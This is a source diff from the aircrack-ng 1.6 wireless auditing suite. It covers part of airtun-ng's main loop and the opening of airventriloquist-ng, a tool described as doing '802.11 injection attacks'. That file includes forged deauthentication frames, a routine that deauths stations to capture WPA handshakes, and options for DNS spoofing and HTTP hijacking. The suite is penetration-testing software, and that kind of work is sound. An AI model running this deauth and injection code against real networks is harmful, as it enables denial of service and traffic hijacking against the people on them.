+				opt.s_file = optarg;
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Airtun-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (EXIT_FAILURE);
+
+			default:
+				goto usage;
+		}
+	}
+
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(
+				usage,
+				getVersion(
+					"Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (EXIT_FAILURE);
+	}
+
+	if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+		&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
+	{
+		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-a).\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if ((memcmp(opt.r_trans, NULL_MAC, 6) == 0) && lopt.tods == 2)
+	{
+		printf("Please specify a Transmitter (-s).\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if (opt.crypt == CRYPT_WPA)
+	{
+		if (lopt.passphrase[0] != '\0')
+		{
+			/* compute the Pairwise Master Key */
+
+			if (lopt.essid[0] == '\0')
+			{
+				printf("You must also specify the ESSID (-e).\n");
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+			}
+
+			calc_pmk(lopt.passphrase, lopt.essid, lopt.pmk);
+		}
+	}
+
+	dev.fd_rtc = -1;
+
+/* open the RTC device if necessary */
+
+#if defined(__i386__)
+#if defined(linux)
+	if (1)
+	{
+		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if (dev.fd_rtc > 0)
+		{
+			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, 1024) < 0)
+			{
+				perror("ioctl(RTC_IRQP_SET) failed");
+				printf("Make sure enhanced rtc device support is enabled in "
+					   "the kernel (module\n"
+					   "rtc, not genrtc) - also try 'echo 1024 "
+					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+			else
+			{
+				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+				{
+					perror("ioctl(RTC_PIE_ON) failed");
+					close(dev.fd_rtc);
+					dev.fd_rtc = -1;
+				}
+			}
+		}
+		else
+		{
+			printf("For information, no action required:"
+				   " Using gettimeofday() instead of /dev/rtc\n");
+			dev.fd_rtc = -1;
+		}
+	}
+#endif /* linux */
+#endif /* __i386__ */
+
+	/* open the replay interface */
+	_wi_out = wi_open(argv[optind]);
+	if (!_wi_out) return (EXIT_FAILURE);
+	dev.fd_out = wi_fd(_wi_out);
+
+	/* open the packet source */
+	if (opt.s_face != NULL)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return (EXIT_FAILURE);
+		dev.fd_in = wi_fd(_wi_in);
+	}
+	else
+	{
+		_wi_in = _wi_out;
+		dev.fd_in = dev.fd_out;
+	}
+
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
+
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
+
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (EXIT_FAILURE);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (EXIT_FAILURE);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (EXIT_FAILURE);
+		}
+	}
+
+	dev.dv_ti = ti_open(NULL);
+	if (!dev.dv_ti)
+	{
+		printf("error opening tap device: %s\n", strerror(errno));
+		return (EXIT_FAILURE);
+	}
+	printf("created tap interface %s\n", ti_name(dev.dv_ti));
+
+	if (opt.prgalen <= 0 && opt.crypt == CRYPT_NONE)
+	{
+		printf("No encryption specified. Sending and receiving frames through "
+			   "%s.\n",
+			   argv[optind]);
+	}
+	else if (opt.crypt == CRYPT_WPA)
+	{
+		printf("WPA encryption specified. Sending and receiving frames through "
+			   "%s.\n",
+			   argv[optind]);
+	}
+	else if (opt.crypt == CRYPT_WEP)
+	{
+		printf("WEP encryption specified. Sending and receiving frames through "
+			   "%s.\n",
+			   argv[optind]);
+	}
+	else
+	{
+		printf("WEP encryption by PRGA specified. No reception, only sending "
+			   "frames through %s.\n",
+			   argv[optind]);
+	}
+
+	if (lopt.tods == 1)
+	{
+		printf("ToDS bit set in all frames.\n");
+	}
+	else if (lopt.tods == 2)
+	{
+		printf("ToDS and FromDS bit set in all frames (WDS/Bridge) - ");
+		if (lopt.bidir)
+		{
+			printf("bidirectional mode\n");
+		}
+		else
+		{
+			printf("unidirectional mode\n");
+		}
+	}
+	else
+	{
+		printf("FromDS bit set in all frames.\n");
+	}
+
+	for (;;)
+	{
+		if (opt.s_file != NULL)
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211))
+			{
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4); //-V1032
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2); //-V1032
+
+				if (n <= 0 || n >= (int) caplen) continue; //-V560
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2)); //-V1032
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) //-V1032
+						   == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue; //-V560
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (lopt.repeat)
+			{
+				if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+				{
+					switch (h80211[1] & 3)
+					{
+						case 0:
+							memcpy(bssid, h80211 + 16, 6);
+							break;
+						case 1:
+							memcpy(bssid, h80211 + 4, 6);
+							break;
+						case 2:
+							memcpy(bssid, h80211 + 10, 6);
+							break;
+						default:
+							memcpy(bssid, h80211 + 10, 6);
+							break;
+					}
+					if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+					{
+						if (is_filtered_netmask(bssid)) continue;
+					}
+					else
+					{
+						if (memcmp(opt.f_bssid, bssid, 6) != 0) continue;
+					}
+				}
+				send_packet(_wi_out, h80211, (size_t) caplen, kNoChange);
+			}
+
+			packet_recv(h80211, caplen);
+			msleep(1000 / opt.r_nbpps);
+			continue;
+		}
+
+		FD_ZERO(&read_fds);
+		FD_SET(dev.fd_in, &read_fds);
+		FD_SET(ti_fd(dev.dv_ti), &read_fds);
+		ret_val = select(
+			MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL);
+		if (ret_val < 0) break;
+		if (ret_val > 0)
+		{
+			if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
+			{
+				len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_xmit(buffer, len);
+				}
+			}
+			if (FD_ISSET(dev.fd_in, &read_fds))
+			{
+				len = read_packet(_wi_in, buffer, sizeof(buffer), NULL);
+				if (len > 0)
+				{
+					packet_recv(buffer, len);
+				}
+			}
+		} // if( ret_val > 0 )
+	} // for( ; ; )
+
+	ti_close(dev.dv_ti);
+
+	/* that's all, folks */
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/airventriloquist-ng Added

aircrack-ng-1.6.tar.gz/src/airventriloquist-ng/airventriloquist-ng.c Added

@@ -0,0 +1,2093 @@
+/*
+ *  802.11 injection attacks
+ *
+ *  Copyright (C) 2015 Tim de Waal
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#if defined(linux)
+#include <linux/rtc.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <dirent.h>
+#include <signal.h>
+#include <string.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <time.h>
+#include <getopt.h>
+
+#include <fcntl.h>
+#include <ctype.h>
+
+#include <limits.h>
+
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+#include <arpa/inet.h>
+
+#include <fnmatch.h>
+#include <stdbool.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "radiotap/radiotap_iter.h"
+#include "airventriloquist-ng.h"
+
+#define RTC_RESOLUTION 8192
+
+#define REQUESTS 30
+#define MAX_APS 20
+
+#define NEW_IV 1
+#define RETRY 2
+#define ABORT 3
+
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+
+#define REASSOC_REQ                                                            \
+	"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
+
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+static char * progname = NULL;
+
+static const char usage[]
+	= "\n"
+	  "  %s - (C) 2015 Tim de Waal\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  usage: airventriloquist-ng [options]\n"
+	  "\n"
+	  "      -i <replay interface>   : Interface to listen and inject on\n"
+	  "      -d | --deauth           : Send active deauths to encrypted "
+	  "stations\n"
+	  "      -e | --essid <value>    : ESSID of target network \n"
+	  "      -p | --passphrase <val> : WPA Passphrase of target network\n"
+	  "      -c | --icmp             : Respond to all ICMP frames (Debug)\n"
+	  "      -n | --dns              : IP to resolve all DNS queries to\n"
+	  "      -s | --hijack <URL>     : URL to look for in HTTP requests\n"
+	  "                                <URL> can have wildcards\n"
+	  "                                   eg: *jquery*.js*\n"
+	  "      -r | --redirect <URL>   : URL to redirect to\n"
+	  "      -v | --verbose          : Verbose output\n"
+	  "      --help                  : This super helpful message\n"
+	  "\n"
+	  "\n";
+
+struct communication_options opt;
+static struct local_options
+{
+	char flag_icmp_resp;
+	char flag_http_hijack;
+	char flag_dnsspoof;
+	char deauth;
+	char flag_verbose;
+	char * p_redir_url;
+	char * p_redir_pkt_str;
+	char * p_hijack_str;
+	unsigned long p_dnsspoof_ip;
+
+	// Copied from airdecap
+	int decap_no_convert;
+	char essid[36];
+	char passphrase[65];
+	u_int8_t decap_bssid[6];
+	u_int8_t pmk[40];
+	u_int8_t decap_wepkey[64];
+	int decap_weplen, crypt;
+	int decap_store_bad;
+
+	struct WPA_ST_info * st_1st;
+	struct WPA_ST_info * st_cur;
+	struct WPA_ST_info * st_prv;
+} lopt;
+
+struct devices dev;
+struct wif *_wi_in, *_wi_out;
+
+struct ARP_req
+{
+	u_int8_t * buf;
+	int hdrlen;
+	int len;
+};
+
+struct APt
+{
+	u_int8_t set;
+	u_int8_t found;
+	u_int8_t len;
+	u_int8_t essid[255];
+	u_int8_t bssid[6];
+	u_int8_t chan;
+	unsigned int ping[REQUESTS];
+	int pwr[REQUESTS];
+};
+
+unsigned long nb_pkt_sent;
+u_int8_t h80211[4096];
+static u_int8_t tmpbuf[4096];
+
+static int tcp_test(const char * ip_str, const short port)
+{
+	int sock, i;
+	struct sockaddr_in s_in;
+	int packetsize = 1024;
+	u_int8_t packet[packetsize];
+	struct timeval tv, tv2, tv3;
+	int caplen = 0;
+	int times[REQUESTS];
+	int min, avg, max, len;
+	struct net_hdr nh;
+
+	tv3.tv_sec = 0;
+	tv3.tv_usec = 1;
+
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	if (!inet_aton(ip_str, &s_in.sin_addr)) return (-1);
+
+	if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+		return (-1);
+
+	/* avoid blocking on reading the socket */
+	if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+	{
+		perror("fcntl(O_NONBLOCK) failed");
+		close(sock);
+		return (1);
+	}
+
+	gettimeofday(&tv, NULL);
+
+	while (1) // waiting for relayed packet
+	{
+		if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		{
+			if (errno != EINPROGRESS && errno != EALREADY)
+			{
+				perror("connect");
+				close(sock);
+
+				printf("Failed to connect\n");
+
+				return (-1);
+			}
+		}
+		else
+		{
+			gettimeofday(&tv2, NULL);
+			break;
+		}
+
+		gettimeofday(&tv2, NULL);
+		// wait 3000ms for a successful connect
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (3000 * 1000))
+		{
+			printf("Connection timed out\n");
+			close(sock);
+			return (-1);
+		}
+		usleep(10);
+	}
+
+	PCT;
+	printf("TCP connection successful\n");
+
+	// trying to identify airserv-ng
+	memset(&nh, 0, sizeof(nh));
+	//     command: GET_CHAN
+	nh.nh_type = 2;
+	nh.nh_len = htonl(0);
+
+	if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
+	{
+		perror("send");
+		close(sock);
+		return (-1);
+	}
+
+	gettimeofday(&tv, NULL);
+	i = 0;
+
+	while (1) // waiting for GET_CHAN answer
+	{
+		caplen = read(sock, &nh, sizeof(nh));
+
+		if (caplen == -1)
+		{
+			if (errno != EAGAIN)
+			{
+				perror("read");
+				close(sock);
+				return (-1);
+			}
+		}
+
+		if ((unsigned) caplen == sizeof(nh))
+		{
+			len = ntohl(nh.nh_len);
+			if (nh.nh_type == 1 && i == 0)
+			{
+				i = 1;
+				caplen = read(sock, packet, len);
+				if (caplen == len)
+				{
+					i = 2;
+					break;
+				}
+				else
+				{
+					i = 0;
+				}
+			}
+			else
+			{
+				caplen = read(sock, packet, len);
+			}
+		}
+
+		gettimeofday(&tv2, NULL);
+		// wait 1000ms(1sec) for an answer
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (1000 * 1000))
+		{
+			break;
+		}
+		if (caplen == -1) usleep(10);
+	}
+
+	if (i == 2)
+	{
+		PCT;
+		printf("airserv-ng found\n");
+	}
+	else
+	{
+		PCT;
+		printf("airserv-ng NOT found\n");
+	}
+
+	close(sock);
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+			return (-1);
+
+		/* avoid blocking on reading the socket */
+		if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			close(sock);
+			return (1);
+		}
+
+		usleep(1000);
+
+		gettimeofday(&tv, NULL);
+
+		while (1) // waiting for relayed packet
+		{
+			if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+			{
+				if (errno != EINPROGRESS && errno != EALREADY)
+				{
+					perror("connect");
+					close(sock);
+
+					printf("Failed to connect\n");
+
+					return (-1);
+				}
+			}
+			else
+			{
+				gettimeofday(&tv2, NULL);
+				break;
+			}
+
+			gettimeofday(&tv2, NULL);
+			// wait 1000ms for a successful connect
+			if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+				 + (tv2.tv_usec - tv.tv_usec))
+				> (1000 * 1000))
+			{
+				break;
+			}
+			// simple "high-precision" usleep
+			select(1, NULL, NULL, NULL, &tv3);
+		}
+		times[i] = ((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+					+ (tv2.tv_usec - tv.tv_usec));
+		printf("\r%d/%d\r", i, REQUESTS);
+		fflush(stdout);
+		close(sock);
+	}
+
+	min = INT_MAX;
+	avg = 0;
+	max = 0;
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if (times[i] < min) min = times[i];
+		if (times[i] > max) max = times[i];
+		avg += times[i];
+	}
+	avg /= REQUESTS;
+
+	PCT;
+	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
+		   ip_str,
+		   port,
+		   min / 1000.0,
+		   avg / 1000.0,
+		   max / 1000.0);
+
+	return (0);
+}
+
+// TODO: this function is hacked together, It should be cleaned up
+// Need to use wfrm (ieee80211_frame struct instead of just a buffer)
+static int deauth_station(struct WPA_ST_info * st_cur)
+{
+	REQUIRE(st_cur != NULL);
+
+	if (memcmp(st_cur->stmac, NULL_MAC, 6) != 0)
+	{
+		/* deauthenticate the target */
+
+		memcpy(h80211, DEAUTH_REQ, 26);
+		memcpy(h80211 + 16, st_cur->bssid, 6);
+
+		int i;
+		for (i = 0; i < 5; i++)
+		{
+			PCT;
+			printf("Sending 5 directed DeAuth. STMAC:"
+				   " [%02X:%02X:%02X:%02X:%02X:%02X] \r",
+				   st_cur->stmac[0],
+				   st_cur->stmac[1],
+				   st_cur->stmac[2],
+				   st_cur->stmac[3],
+				   st_cur->stmac[4],
+				   st_cur->stmac[5]);
+
+			memcpy(h80211 + 4, st_cur->stmac, 6);
+			memcpy(h80211 + 10, st_cur->bssid, 6);
+
+			if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber) < 0)
+				return (1);
+
+			// Send deauth to the AP...
+			memcpy(h80211 + 4, st_cur->bssid, 6);
+			memcpy(h80211 + 10, st_cur->stmac, 6);
+
+			if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber) < 0)
+				return (1);
+			// Usually this is where we would wait for an ACK, but we need to
+			// get back
+			// to capturing packets to get the EAPOL 4 way handshake
+		}
+
+		return (0);
+	}
+
+	return (0);
+}
+
+// Shameless copy from tshark/wireshark?
+static void hexDump(char * desc, void * addr, int len)
+{
+	int i;
+	u_int8_t buff[17];
+	u_int8_t * pc = (u_int8_t *) addr;
+
+	// Output description if given.
+	if (desc != NULL) printf("%s:\n", desc);
+
+	// Process every byte in the data.
+	for (i = 0; i < len; i++)
+	{
+		// Multiple of 16 means new line (with line offset).
+		if ((i % 16) == 0)
+		{
+			// Just don't print ASCII for the zeroth line.
+			if (i != 0) printf("  %s\n", buff);
+
+			// Output the offset in Hex.
+			printf("  %04x ", i);
+		}
+
+		// Now the hex code for the specific character.
+		printf(" %02x", pc[i]);
+
+		// And store a printable ASCII character for later.
+		if ((pc[i] < 0x20) || (pc[i] > 0x7e))
+			buff[i % 16] = '.';
+		else
+			buff[i % 16] = pc[i];
+		buff[(i % 16) + 1] = '\0';
+	}
+
+	// Pad out last line if not exactly 16 characters.
+	while ((i % 16) != 0)
+	{
+		printf("   ");
+		i++;
+	}
+
+	// And print the final ASCII bit.
+	printf("  %s\n", buff);
+}
+
+/* calcsum - used to calculate IP and ICMP header checksums using
+ * one's compliment of the one's compliment sum of 16 bit words of the header
+ */
+static u_int16_t calcsum(u_int16_t * buffer, u_int32_t length)
+{
+	u_int32_t sum;
+
+	// initialize sum to zero and loop until length (in words) is 0
+	for (sum = 0; length > 1; length -= 2) // sizeof() returns number of bytes,
+		// we're interested in number of
+		// words
+		sum += *buffer++; // add 1 word of buffer to sum and proceed to the next
+
+	// we may have an extra byte
+	if (length == 1) sum += (u_int8_t) *buffer;
+
+	sum = (sum >> 16) + (sum & 0xFFFF); // add high 16 to low 16
+	sum += (sum >> 16); // add carry
+	return (~sum);
+}
+// This needs to be cleaned up so that we can do UDP/TCP in one function. Don't
+// want to do that now and risk
+// breaking UDP checksums right now
+static u_int16_t calcsum_tcp(u_int16_t * buf,
+							 u_int32_t len,
+							 u_int32_t src_addr,
+							 u_int32_t dest_addr)
+{
+	u_int32_t chksum;
+	u_int32_t length = len;
+	u_int16_t * ip_src = (u_int16_t *) &src_addr;
+	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
+
+	// Calculate the chksum
+	chksum = 0;
+	while (len > 1)
+	{
+		chksum += *buf++;
+		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+		len -= 2;
+	}
+
+	if (len & 1)
+		// Add the padding if the packet length is odd
+		chksum += *((u_int8_t *) buf);
+
+	// Add the pseudo-header
+	chksum += *(ip_src++);
+	chksum += *ip_src;
+
+	chksum += *(ip_dst++);
+	chksum += *ip_dst;
+
+	chksum += htons(IPPROTO_TCP);
+	chksum += htons(length);
+
+	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+
+	// Return the one's complement of chksum
+	return ((u_int16_t)(~chksum));
+}
+
+static u_int16_t calcsum_udp(u_int16_t * buf,
+							 u_int32_t len,
+							 u_int32_t src_addr,
+							 u_int32_t dest_addr)
+{
+	u_int32_t chksum;
+	u_int32_t length = len;
+	u_int16_t * ip_src = (u_int16_t *) &src_addr;
+	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
+
+	// Calculate the chksum
+	chksum = 0;
+	while (len > 1)
+	{
+		chksum += *buf++;
+		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+		len -= 2;
+	}
+
+	if (len & 1)
+		// Add the padding if the packet length is odd
+		chksum += *((u_int8_t *) buf);
+
+	// Add the pseudo-header
+	chksum += *(ip_src++);
+	chksum += *ip_src;
+
+	chksum += *(ip_dst++);
+	chksum += *ip_dst;
+
+	chksum += htons(IPPROTO_UDP);
+	chksum += htons(length);
+
+	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+
+	// Return the one's complement of chksum
+	return ((u_int16_t)(~chksum));
+}
+
+static inline u_int8_t * packet_get_sta_80211(u_int8_t * pkt)
+{
+	REQUIRE(pkt != NULL);
+
+	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
+
+	// IF TODS
+	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+	{
+		return ((u_int8_t *) &p_res802->i_addr2);
+	}
+	// IF FROMDS
+	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+	{
+		return ((u_int8_t *) &p_res802->i_addr1);
+	}
+
+	return (NULL);
+}
+
+static inline u_int8_t * packet_get_bssid_80211(u_int8_t * pkt)
+{
+	REQUIRE(pkt != NULL);
+
+	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
+
+	// IF TODS
+	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+	{
+		return ((u_int8_t *) &p_res802->i_addr1);
+	}
+	// IF FROMDS
+	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+	{
+		return ((u_int8_t *) &p_res802->i_addr2);
+	}
+
+	return (NULL);
+}
+
+static void packet_turnaround_80211(u_int8_t * pkt)
+{
+	REQUIRE(pkt != NULL);
+
+	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
+	u_int8_t tmp_mac[IEEE80211_ADDR_LEN] = {0};
+
+	// IF TODS, flip to FROMDS
+	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+	{
+		p_res802->i_fc[1] = p_res802->i_fc[1] & ~(char) IEEE80211_FC1_DIR_TODS;
+		p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_FROMDS;
+	}
+	// IF FROMDS, Flip to TODS
+	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+	{
+		p_res802->i_fc[1] = p_res802->i_fc[1] & ~IEEE80211_FC1_DIR_FROMDS;
+		p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_TODS;
+	}
+
+	memcpy(tmp_mac, p_res802->i_addr1, IEEE80211_ADDR_LEN);
+	memcpy(p_res802->i_addr1, p_res802->i_addr2, IEEE80211_ADDR_LEN);
+	memcpy(p_res802->i_addr2, tmp_mac, IEEE80211_ADDR_LEN);
+}
+
+static void packet_turnaround_ip(struct ip_frame * p_resip)
+{
+	REQUIRE(p_resip != NULL);
+
+	// Switch the IP source and destination addresses
+	u_int32_t tmp_addr = p_resip->saddr;
+	p_resip->saddr = p_resip->daddr;
